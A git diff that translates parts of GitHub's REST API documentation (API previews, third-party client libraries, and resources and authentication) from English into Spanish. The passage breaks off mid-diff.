-**Custom media type:** `inertia-preview`
-**Announced:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/)
-**Update:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/)
+**Tipo de medios personalizado:** `inertia-preview` **Anunciado en:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) **Actualizado en:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Commit search
+## Búsqueda de confirmación
 
-[Search commits](/rest/reference/search).
+[Busca confirmaciones](/rest/reference/search).
 
-**Custom media type:** `cloak-preview`
-**Announced:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/)
+**Tipo de medios personalizados:** `cloak-preview` **Anunciado en:**[2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Repository topics
+## Temas del repositorio
 
-View a list of [repository topics](/articles/about-topics/) in [calls](/rest/reference/repos) that return repository results.
+Ver una lista de los [temas del repositorio](/articles/about-topics/) en [llamadas](/rest/reference/repos) que devuelven los resultados del mismo.
 
-**Custom media type:** `mercy-preview`
-**Announced:** [2017-01-31](https://github.com/blog/2309-introducing-topics)
+**Tipo de medios personalizados:** `mercy-preview` **Anunciado en:**[2017-01-31](https://github.com/blog/2309-introducing-topics)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Codes of conduct
+## Códigos de conducta
 
-View all [codes of conduct](/rest/reference/codes-of-conduct) or get which code of conduct a repository has currently.
+Ver todos los [códigos de conducta](/rest/reference/codes-of-conduct) u obtener qué código de conducta tiene actualmente un repositorio.
 
-**Custom media type:** `scarlet-witch-preview`
+**Tipo de medios personalizado:** `scarlet-witch-preview`
 
 {% endif %}
 
 {% ifversion ghae or ghes %}
 
-## Global webhooks
+## Webhooks globales
 
-Enables [global webhooks](/rest/reference/enterprise-admin#global-webhooks/) for  [organization](/webhooks/event-payloads/#organization) and [user](/webhooks/event-payloads/#user) event types. This API preview is only available for {% data variables.product.prodname_ghe_server %}.
+Habilita los [webhooks globales](/rest/reference/enterprise-admin#global-webhooks/) para una [organización](/webhooks/event-payloads/#organization) y para los tipos de evento del [usuario](/webhooks/event-payloads/#user). Esta vista previa de la API solo está disponible para {% data variables.product.prodname_ghe_server %}.
 
-**Custom media type:** `superpro-preview`
-**Announced:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks)
+**Tipo de medios personalizados:** `superpro-preview` **Anunciado en:**[2017-12-12](/rest/reference/enterprise-admin#global-webhooks)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Require signed commits
+## Requerir confirmaciones firmadas
 
-You can now use the API to manage the setting for [requiring signed commits on protected branches](/rest/reference/repos#branches).
+Ahora puedes utilizar la API para administrar la configuración para [requerir confirmaciones firmadas en ramas protegidas](/rest/reference/repos#branches).
 
-**Custom media type:** `zzzax-preview`
-**Announced:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures)
+**Tipo de medios personalizados:** `zzzax-preview` **Anunciado en:**[2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Require multiple approving reviews
+## Requerir múltiples revisiones de aprobación
 
-You can now [require multiple approving reviews](/rest/reference/repos#branches) for a pull request using the API.
+Ahora puedes [requerir múltiples revisiones de aprobación](/rest/reference/repos#branches) para una solicitud de extracción que utilice la API.
 
-**Custom media type:** `luke-cage-preview`
-**Announced:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews)
+**Tipo de medios personalizados:** `luke-cage-preview` **Anunciado en:**[2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews)
 
 {% endif %}
 
 
 {% ifversion ghes %}
 
-## Anonymous Git access to repositories
+## Acceso anónimo de Git a los repositorios
 
-When a {% data variables.product.prodname_ghe_server %} instance is in private mode, site and repository administrators can enable anonymous Git access for a public repository.
+Cuando una instancia de {% data variables.product.prodname_ghe_server %} está en modo privado, los administradores de sitio y de repositorio pueden habilitar el acceso anónimo de Git para los repositorios públicos.
 
-**Custom media type:** `x-ray-preview`
-**Announced:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/)
+**Tipo de medios personalizados:** `x-ray-preview` **Anunciado en:**[2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/)
 
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Project card details
+## Detalles de la tarjeta de proyecto
 
-The REST API responses for [issue events](/rest/reference/issues#events) and [issue timeline events](/rest/reference/issues#timeline) now return the `project_card` field for project-related events.
+Las respuestas de la API de REST para los [eventos de los informes de problemas](/rest/reference/issues#events) y para [los eventos de la línea de tiempo de los informes de problemas](/rest/reference/issues#timeline) ahora devuelven el campo `project_card` para los eventos relacionados con los proyectos.
 
-**Custom media type:** `starfox-preview`
-**Announced:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events)
+**Tipo de medios personalizados:** `starfox-preview` **Anunciado en:**[2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events)
 
 {% endif %}
 {% ifversion fpt or ghec %}
 
-## GitHub App Manifests
+## Manifiestos de las GitHub Apps
 
-GitHub App Manifests allow people to create preconfigured GitHub Apps. See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" for more details.
+Los Manifiestos de las GitHub Apps permiten a las personas crear GitHub Apps preconfiguradas. Consulta la sección "[Crear GitHub Apps desde un manifiesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" para obtener más detalles.
 
-**Custom media type:** `fury-preview`
+**Tipo de medios personalizado:** `fury-preview`
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Deployment statuses
+## Estados de despliegue
 
-You can now update the `environment` of a [deployment status](/rest/reference/repos#create-a-deployment-status) and use the `in_progress` and `queued` states. When you create deployment statuses, you can now use the `auto_inactive` parameter to mark old `production` deployments as `inactive`.
+Ahora puedes actualizar el `environment` de un [estado de despliegue](/rest/reference/deployments#create-a-deployment-status) y utilizar los estados de `in_progress` y `queued`. Cuando creas estados de despliegue, ahora puedes utilizar el parámetro `auto_inactive` para marcar los despliegues de `production` antiguos como `inactive`.
 
-**Custom media type:** `flash-preview`
-**Announced:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/)
+**Tipo de medios personalizados:** `flash-preview` **Anunciado en:**[2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Repository creation permissions
+## Permisos de creación de repositorios
 
-You can now configure whether organization members can create repositories and which types of repositories they can create. See "[Update an organization](/rest/reference/orgs#update-an-organization)" for more details.
+Ahora puedes configurar si los miembros de la organización pueden crear repositorios y decidir qué tipos de éstos pueden crear. Consulta la sección "[Actualizar una organización](/rest/reference/orgs#update-an-organization)" para obtener más detalles.
 
-**Custom media types:** `surtur-preview`
-**Announced:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
+**Tipo de medios personalizados:** `surtur-preview` **Anunciado en:**[2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
 
 {% endif %}
 
 {% ifversion ghes < 3.4 %}
-## Content attachments
+## Adjuntos de contenido
 
-You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details.
+Ahora puedes proporcionar más información en GitHub para las URL que enlazan a los dominios registrados si utilizas la API {% data variables.product.prodname_unfurls %}. Consulta la sección "[Utilizar adjuntos de contenido](/apps/using-content-attachments/)" para obtener más detalles.
 
-**Custom media types:** `corsair-preview`
-**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
+**Tipo de medios personalizados:** `corsair-preview` **Anunciado en:**[2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
 
 {% endif %}
 {% ifversion ghae or ghes < 3.3 %}
 
-## Enable and disable Pages
+## Habilitar e inhabilitar las páginas
 
-You can use the new endpoints in the [Pages API](/rest/reference/repos#pages) to enable or disable Pages. To learn more about Pages, see "[GitHub Pages Basics](/categories/github-pages-basics)".
+Puedes utilizar las terminales nuevas en la [API de páginas](/rest/reference/repos#pages) para habilitar o inhabilitar las Páginas. Para aprender más sobre las páginas, consulta la sección "[Fundamentos de GitHub Pages](/categories/github-pages-basics)".
 
-**Custom media types:** `switcheroo-preview`
-**Announced:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/)
+**Tipo de medios personalizados:** `switcheroo-preview` **Anunciado en:**[2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## List branches or pull requests for a commit
+## Listar ramas o solicitudes de extracción para una confirmación
 
-You can use two new endpoints in the [Commits API](/rest/reference/repos#commits) to list branches or pull requests for a commit.
+Puedes utilizar dos terminales nuevas en la [API de Confirmaciones](/rest/reference/repos#commits) para listar las ramas o las solicitudes de extracción para una confirmación.
 
-**Custom media types:** `groot-preview`
-**Announced:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/)
+**Tipo de medios personalizados:** `groot-preview` **Anunciado en:**[2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Update a pull request branch
+## Actualizar la rama de una solicitud de extracción
 
-You can use a new endpoint to [update a pull request branch](/rest/reference/pulls#update-a-pull-request-branch) with changes from the HEAD of the upstream branch.
+Puedes utilizar una terminal nueva para [actualizar una rama de una solicitud de extracción](/rest/reference/pulls#update-a-pull-request-branch) con cambios desde el HEAD de la rama ascendente.
 
-**Custom media types:** `lydian-preview`
-**Announced:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/)
+**Tipo de medios personalizados:** `lydian-preview` **Anunciado en:**[2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/)
 
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Create and use repository templates
+## Crear y utilizar plantillas de repositorio
 
-You can use a new endpoint to [Create a repository using a template](/rest/reference/repos#create-a-repository-using-a-template) and [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user) that is a template repository by setting the `is_template` parameter to `true`. [Get a repository](/rest/reference/repos#get-a-repository) to check whether it's set as a template repository using the `is_template` key.
+Puedes Puedes utilizar una terminal nueva para [crear un repositorio utilizando una plantilla](/rest/reference/repos#create-a-repository-using-a-template) y para [crear un repositorio para el usuario autenticado](/rest/reference/repos#create-a-repository-for-the-authenticated-user) que constituye un repositorio de plantilla si configuras el parámetro `is_template` como `true`. [Obten un repositorio](/rest/reference/repos#get-a-repository) para verificar si se configuró como un repositorio de plantilla utilizando la clave `is_template`.
 
-**Custom media types:** `baptiste-preview`
-**Announced:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/)
+**Tipos de medios personalizados:** `baptiste-preview` **Anunciado en:**[2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## New visibility parameter for the Repositories API
+## Parámetro de visibilidad nuevo para la API de Repositorios
 
-You can set and retrieve the visibility of a repository in the [Repositories API](/rest/reference/repos).
+Puedes configurar y recuperar la visibilidad de un repositorio en la [API de Repositorios](/rest/reference/repos).
 
-**Custom media types:** `nebula-preview`
-**Announced:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
+**Tipo de medios personalizados:** `nebula-preview` **Anunciado en:**[2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
 {% endif %}
diff --git a/translations/es-ES/content/rest/overview/libraries.md b/translations/es-ES/content/rest/overview/libraries.md
index 8233373761..71e890214f 100644
--- a/translations/es-ES/content/rest/overview/libraries.md
+++ b/translations/es-ES/content/rest/overview/libraries.md
@@ -1,8 +1,8 @@
 ---
-title: Libraries
-intro: 'You can use the official Octokit library and other third-party libraries to extend and simplify how you use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.'
+title: Bibliotecas
+intro: 'Puedes utilizar la librería oficial de Octokit y otras librerías de terceros para extender y simplificar la forma en que usas la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.'
 redirect_from:
-  - /libraries/
+  - /libraries
   - /v3/libraries
 versions:
   fpt: '*'
@@ -14,9 +14,9 @@ topics:
 ---
 
 <div class="jumbotron libraries-jumbotron">
-  <img src="/assets/images/gundamcat.png" class="gundamcat" alt="The Gundamcat" />
-  <h1>Octokit comes in many flavors</h1>
-  <p class="lead">Use the official Octokit library, or choose between any of the available third party libraries.</p>
+  <img src="/assets/images/gundamcat.png" class="gundamcat" alt="El Gundamcat" />
+  <h1>El Octokit tiene muchos sabores</h1>
+  <p class="lead">Utiliza la biblioteca oficial de Octokit, o elige entre cualquiera de las bibliotecas de terceros disponibles.</p>
   <div class="octokit-links"><br/>
      <div class="octokit-language"> <span>Ruby → </span><a href="https://github.com/octokit/octokit.rb">octokit.rb</a></div><br/>
      <div class="octokit-language"><span>.NET → </span> <a href="https://github.com/octokit/octokit.net">octokit.net</a></div><br/>
@@ -24,130 +24,130 @@ topics:
   </div>
 </div>
 
-# Third-party libraries
+# Librería de terceros
 
 ### Clojure
 
-| Library name | Repository |
-|---|---|
-|**Tentacles**| [Raynes/tentacles](https://github.com/Raynes/tentacles)|
+| Nombre de la librería | Repositorio                                             |
+| --------------------- | ------------------------------------------------------- |
+| **Tentacles**         | [Raynes/tentacles](https://github.com/Raynes/tentacles) |
 
 ### Dart
 
-| Library name | Repository |
-|---|---|
-|**github.dart** | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart)|
+| Nombre de la librería | Repositorio                                                             |
+| --------------------- | ----------------------------------------------------------------------- |
+| **github.dart**       | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart) |
 
 ### Emacs Lisp
 
-| Library name | Repository |
-|---|---|
-|**gh.el**    | [sigma/gh.el](https://github.com/sigma/gh.el)|
+| Nombre de la librería | Repositorio                                   |
+| --------------------- | --------------------------------------------- |
+| **gh.el**             | [sigma/gh.el](https://github.com/sigma/gh.el) |
 
 ### Erlang
 
-| Library name | Repository |
-|---|---|
-|**octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl)|
+| Nombre de la librería | Repositorio                                             |
+| --------------------- | ------------------------------------------------------- |
+| **octo-erl**          | [sdepold/octo.erl](https://github.com/sdepold/octo.erl) |
 
 ### Go
 
-| Library name | Repository |
-|---|---|
-|**go-github**| [google/go-github](https://github.com/google/go-github)|
+| Nombre de la librería | Repositorio                                             |
+| --------------------- | ------------------------------------------------------- |
+| **go-github**         | [google/go-github](https://github.com/google/go-github) |
 
 ### Haskell
 
-| Library name | Repository |
-|---|---|
-|**haskell-github** | [fpco/Github](https://github.com/fpco/GitHub)|
+| Nombre de la librería | Repositorio                                   |
+| --------------------- | --------------------------------------------- |
+| **haskell-github**    | [fpco/Github](https://github.com/fpco/GitHub) |
 
 ### Java
 
-| Library name | Repository | More information |
-|---|---|---|
-|**GitHub API for Java**| [org.kohsuke.github (From github-api)](http://github-api.kohsuke.org/)|defines an object oriented representation of the GitHub API.|
-|**JCabi GitHub API**|[github.jcabi.com (Personal Website)](http://github.jcabi.com)|is based on Java7 JSON API (JSR-353), simplifies tests with a runtime GitHub stub, and covers the entire API.|
+| Nombre de la librería        | Repositorio                                                             | Más información                                                                                                                           |
+| ---------------------------- | ----------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
+| **API de GitHub para Java**  | [org.kohsuke.github (Desde github-api)](http://github-api.kohsuke.org/) | define una representación orientada a objetos de la API de GitHub.                                                                        |
+| **API de GitHub para JCabi** | [github.jcabi.com (Sitio web personal)](http://github.jcabi.com)        | se basa en la API de JSON para Java7 (HSR-353), simplifica pruebas con una muestra del tiempo de ejecución de GitHub y cubre toda la API. |
 
 ### JavaScript
 
-| Library name | Repository |
-|---|---|
-|**NodeJS GitHub library**| [pksunkara/octonode](https://github.com/pksunkara/octonode)|
-|**gh3 client-side API v3 wrapper**| [k33g/gh3](https://github.com/k33g/gh3)|
-|**Github.js wrapper around the GitHub API**|[michael/github](https://github.com/michael/github)|
-|**Promise-Based CoffeeScript library for the Browser or NodeJS**|[philschatz/github-client](https://github.com/philschatz/github-client)|
+| Nombre de la librería                                                     | Repositorio                                                             |
+| ------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
+| **Biblioteca de NodeJS de GitHub**                                        | [pksunkara/octonode](https://github.com/pksunkara/octonode)             |
+| **programa de seguridad gh3 de la API v3 de lado del cliente**            | [k33g/gh3](https://github.com/k33g/gh3)                                 |
+| **El wrapper de Github.js sobre la API de GitHub**                        | [michael/github](https://github.com/michael/github)                     |
+| **Librería de CoffeeScript basada en Promise para el buscador de NodeJS** | [philschatz/github-client](https://github.com/philschatz/github-client) |
 
 ### Julia
 
-| Library name | Repository |
-|---|---|
-|**GitHub.jl**|[JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl)|
+| Nombre de la librería | Repositorio                                                 |
+| --------------------- | ----------------------------------------------------------- |
+| **GitHub.jl**         | [JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl) |
 
 ### OCaml
 
-| Library name | Repository |
-|---|---|
-|**ocaml-github**|[mirage/ocaml-github](https://github.com/mirage/ocaml-github)|
+| Nombre de la librería | Repositorio                                                   |
+| --------------------- | ------------------------------------------------------------- |
+| **ocaml-github**      | [mirage/ocaml-github](https://github.com/mirage/ocaml-github) |
 
 ### Perl
 
-| Library name | Repository | metacpan Website for the Library |
-|---|---|---|
-|**Pithub**|[plu/Pithub](https://github.com/plu/Pithub)|[Pithub CPAN](http://metacpan.org/module/Pithub)|
-|**Net::GitHub**|[fayland/perl-net-github](https://github.com/fayland/perl-net-github)|[Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub)|
+| Nombre de la librería | Repositorio                                                           | sitio web de metacpan para la librería                  |
+| --------------------- | --------------------------------------------------------------------- | ------------------------------------------------------- |
+| **Pithub**            | [plu/Pithub](https://github.com/plu/Pithub)                           | [Pithub CPAN](http://metacpan.org/module/Pithub)        |
+| **Net::GitHub**       | [fayland/perl-net-github](https://github.com/fayland/perl-net-github) | [Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub) |
 
 ### PHP
 
-| Library name | Repository |
-|---|---|
-|**PHP GitHub API**|[KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)|
-|**GitHub Joomla! Package**|[joomla-framework/github-api](https://github.com/joomla-framework/github-api)|
-|**GitHub bridge for Laravel**|[GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub)|
+| Nombre de la librería              | Repositorio                                                                       |
+| ---------------------------------- | --------------------------------------------------------------------------------- |
+| **PHP GitHub API**                 | [KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)               |
+| **Paquete de Joomla! Para GitHub** | [joomla-framework/github-api](https://github.com/joomla-framework/github-api)     |
+| **Puente de GitHub para Laravel**  | [GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub) |
 
 ### PowerShell
 
-| Library name | Repository |
-|---|---|
-|**PowerShellForGitHub**|[microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub)|
+| Nombre de la librería   | Repositorio                                                                       |
+| ----------------------- | --------------------------------------------------------------------------------- |
+| **PowerShellForGitHub** | [microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub) |
 
 ### Python
 
-| Library name | Repository |
-|---|---|
-|**gidgethub**|[brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)|
-|**ghapi**|[fastai/ghapi](https://github.com/fastai/ghapi)|
-|**PyGithub**|[PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)|
-|**libsaas**|[duckboard/libsaas](https://github.com/ducksboard/libsaas)|
-|**github3.py**|[sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)|
-|**sanction**|[demianbrecht/sanction](https://github.com/demianbrecht/sanction)|
-|**agithub**|[jpaugh/agithub](https://github.com/jpaugh/agithub)|
-|**octohub**|[turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)|
-|**github-flask**|[github-flask (Official Website)](http://github-flask.readthedocs.org)|
-|**torngithub**|[jkeylu/torngithub](https://github.com/jkeylu/torngithub)|
+| Nombre de la librería | Repositorio                                                            |
+| --------------------- | ---------------------------------------------------------------------- |
+| **gidgethub**         | [brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)      |
+| **ghapi**             | [fastai/ghapi](https://github.com/fastai/ghapi)                        |
+| **PyGithub**          | [PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)              |
+| **libsaas**           | [duckboard/libsaas](https://github.com/ducksboard/libsaas)             |
+| **github3.py**        | [sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)  |
+| **sanction**          | [demianbrecht/sanction](https://github.com/demianbrecht/sanction)      |
+| **agithub**           | [jpaugh/agithub](https://github.com/jpaugh/agithub)                    |
+| **octohub**           | [turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)        |
+| **github-flask**      | [github-flask (Official Website)](http://github-flask.readthedocs.org) |
+| **torngithub**        | [jkeylu/torngithub](https://github.com/jkeylu/torngithub)              |
 
 ### Ruby
 
-| Library name | Repository |
-|---|---|
-|**GitHub API Gem**|[peter-murach/github](https://github.com/peter-murach/github)|
-|**Ghee**|[rauhryan/ghee](https://github.com/rauhryan/ghee)|
+| Nombre de la librería        | Repositorio                                                   |
+| ---------------------------- | ------------------------------------------------------------- |
+| **Gema de la API de GitHub** | [peter-murach/github](https://github.com/peter-murach/github) |
+| **Ghee**                     | [rauhryan/ghee](https://github.com/rauhryan/ghee)             |
 
 ### Rust
 
-| Library name | Repository |
-|---|---|
-|**Octocrab**|[XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab)|
+| Nombre de la librería | Repositorio                                                   |
+| --------------------- | ------------------------------------------------------------- |
+| **Octocrab**          | [XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab) |
 
 ### Scala
 
-| Library name | Repository |
-|---|---|
-|**Hubcat**|[softprops/hubcat](https://github.com/softprops/hubcat)|
-|**Github4s**|[47deg/github4s](https://github.com/47deg/github4s)|
+| Nombre de la librería | Repositorio                                             |
+| --------------------- | ------------------------------------------------------- |
+| **Hubcat**            | [softprops/hubcat](https://github.com/softprops/hubcat) |
+| **Github4s**          | [47deg/github4s](https://github.com/47deg/github4s)     |
 
 ### Shell
 
-| Library name | Repository |
-|---|---|
-|**ok.sh**|[whiteinge/ok.sh](https://github.com/whiteinge/ok.sh)|
+| Nombre de la librería | Repositorio                                           |
+| --------------------- | ----------------------------------------------------- |
+| **ok.sh**             | [whiteinge/ok.sh](https://github.com/whiteinge/ok.sh) |
diff --git a/translations/es-ES/content/rest/overview/resources-in-the-rest-api.md b/translations/es-ES/content/rest/overview/resources-in-the-rest-api.md
index d3ebb7c1e2..cee95316b1 100644
--- a/translations/es-ES/content/rest/overview/resources-in-the-rest-api.md
+++ b/translations/es-ES/content/rest/overview/resources-in-the-rest-api.md
@@ -1,8 +1,8 @@
 ---
-title: Resources in the REST API
-intro: 'Learn how to navigate the resources provided by the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.'
+title: Recursos en la API de REST
+intro: 'Aprende cómo navegar en los recursos que proporciona la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.'
 redirect_from:
-  - /rest/initialize-the-repo/
+  - /rest/initialize-the-repo
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,25 +13,24 @@ topics:
 ---
 
 
-This describes the resources that make up the official {% data variables.product.product_name %} REST API. If you have any problems or requests, please contact {% data variables.contact.contact_support %}.
+Esto describe los recursos que conforman la API de REST oficial de {% data variables.product.product_name %}. Si tienes cualquier tipo de problema o solicitud, por favor contacta a {% data variables.contact.contact_support %}.
 
-## Current version
+## Versión actual
 
-By default, all requests to `{% data variables.product.api_url_code %}` receive the **v3** [version](/developers/overview/about-githubs-apis) of the REST API.
-We encourage you to [explicitly request this version via the `Accept` header](/rest/overview/media-types#request-specific-version).
+Predeterminadamente, todas las solicitudes a `{% data variables.product.api_url_code %}` reciben la [versión](/developers/overview/about-githubs-apis)**v3** de la API de REST. Te alentamos a [solicitar explícitamente esta versión a través del encabezado `Aceptar`](/rest/overview/media-types#request-specific-version).
 
     Accept: application/vnd.github.v3+json
 
 {% ifversion fpt or ghec %}
 
-For information about GitHub's GraphQL API, see the [v4 documentation]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql). For information about migrating to GraphQL, see "[Migrating from REST]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/migrating-from-rest-to-graphql)."
+Para obtener más información acerca de la API de GraphQL de GitHub, consulta la [documentación de la V4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql). Para obtener más información acerca de cómo migrarse a GraphQL, consulta la sección "[Migrarse desde REST]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/migrating-from-rest-to-graphql)".
 
 {% endif %}
 
-## Schema
+## Modelo
 
-{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`.  All data is
-sent and received as JSON.
+{% ifversion fpt or ghec %}Todos los accesos de las API son através de HTTPS y se accede a{% else %}La API{% endif %} desde `{% data variables.product.api_url_code %}`.  Todos los datos se
+envían y reciben como JSON.
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs
@@ -52,55 +51,43 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs
 > X-Content-Type-Options: nosniff
 ```
 
-Blank fields are included as `null` instead of being omitted.
+Los campos en blanco se incluyen como `null` en vez de omitirse.
 
-All timestamps return in UTC time, ISO 8601 format:
+Todas las marcas de tiempo se devuelven en formato UTC, ISO 8601:
 
-    YYYY-MM-DDTHH:MM:SSZ
+    AAAA-MM-DDTHH:MM:SSZ
 
-For more information about timezones in timestamps, see [this section](#timezones).
+Para obtener más información acerca de las zonas horarias en las marcas de tiempo, consulta [esta sección](#timezones).
 
-### Summary representations
+### Representaciones de resumen
 
-When you fetch a list of resources, the response includes a _subset_ of the
-attributes for that resource. This is the "summary" representation of the
-resource. (Some attributes are computationally expensive for the API to provide.
-For performance reasons, the summary representation excludes those attributes.
-To obtain those attributes, fetch the "detailed" representation.)
+Cuando recuperas una lista de recursos, la respuesta incluye un _subconjunto_ de los atributos para ese recurso. Esta es la representación "resumen" del recurso. (Algunos atributos son caros en términos de cómputo para que la API los proporcione. Por razones de rendimiento, la representación de resumen excluye esos atributos. Para obtener estos atributos, recupera la representación "detallada").
 
-**Example**: When you get a list of repositories, you get the summary
-representation of each repository. Here, we fetch the list of repositories owned
-by the [octokit](https://github.com/octokit) organization:
+**Ejemplo**: Cuando obtienes una lista de repositorios, obtienes la representación de resumen de cada uno de ellos. Aquí, recuperamos la lista de repositorios que pertenecen a la organización [octokit](https://github.com/octokit):
 
     GET /orgs/octokit/repos
 
-### Detailed representations
+### Representaciones detalladas
 
-When you fetch an individual resource, the response typically includes _all_
-attributes for that resource. This is the "detailed" representation of the
-resource. (Note that authorization sometimes influences the amount of detail
-included in the representation.)
+Cuando recuperas un recurso individual, la respuesta incluye habitualmente _todos_ los atributos para ese recurso. Esta es la representación "detallada" del recurso. (Nota que la autorización algunas veces influencia la cantidad de detalles que se incluyen en la representación).
 
-**Example**: When you get an individual repository, you get the detailed
-representation of the repository. Here, we fetch the
-[octokit/octokit.rb](https://github.com/octokit/octokit.rb) repository:
+**Ejemplo**: Cuando obtienes un repositorio individual, obtienes la representación detallada del repositorio. Aquí, recuperamos el repositorio [octokit/octokit.rb](https://github.com/octokit/octokit.rb):
 
     GET /repos/octokit/octokit.rb
 
-The documentation provides an example response for each API method. The example
-response illustrates all attributes that are returned by that method.
+La documentación proporciona un ejemplo de respuesta para cada método de la API. La respuesta de ejemplo ilustra todos los atributos que se regresan con ese método.
 
-## Authentication
+## Autenticación
 
-{% ifversion ghae %} We recommend authenticating to the {% data variables.product.product_name %} REST API by creating an OAuth2 token through the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} There are two ways to authenticate through {% data variables.product.product_name %} REST API.{% endif %} Requests that require authentication will return `404 Not Found`, instead of `403 Forbidden`, in some places.  This is to prevent the accidental leakage of private repositories to unauthorized users.
+{% ifversion ghae %} Te recomendamos autenticarte en la API de REST de {% data variables.product.product_name %} creando un token de OAuth2 a través del [flujo de aplicaciones web](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} Hay dos formas de autenticarse a través de la API de REST de {% data variables.product.product_name %}.{% endif %} Las solicitudes que requieren autenticación devolverán un `404 Not Found`, en vez de un `403 Forbidden`, en algunos lugares.  Esto es para prevenir la fuga accidental de los repositorios privados a los usuarios no autorizados.
 
-### Basic authentication
+### Autenticación básica
 
 ```shell
 $ curl -u "username" {% data variables.product.api_url_pre %}
 ```
 
-### OAuth2 token (sent in a header)
+### Token de OAuth (enviado en un encabezado)
 
 ```shell
